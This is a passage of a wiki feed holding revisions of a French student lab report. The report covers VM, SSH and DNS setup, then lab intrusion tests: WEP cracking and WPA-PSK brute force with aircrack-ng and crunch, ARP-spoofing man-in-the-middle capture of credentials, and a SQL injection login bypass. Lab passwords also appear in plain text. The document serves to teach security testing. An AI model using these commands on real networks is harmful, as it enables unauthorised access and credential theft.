 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
(photo)&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur cette page, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations ci-dessous :&lt;br /&gt;
&lt;br /&gt;
[[injectionSQL.png]]&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=54877</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=54877"/>
				<updated>2020-12-17T15:15:48Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
(photo)&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
(à remplir)&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	</feed>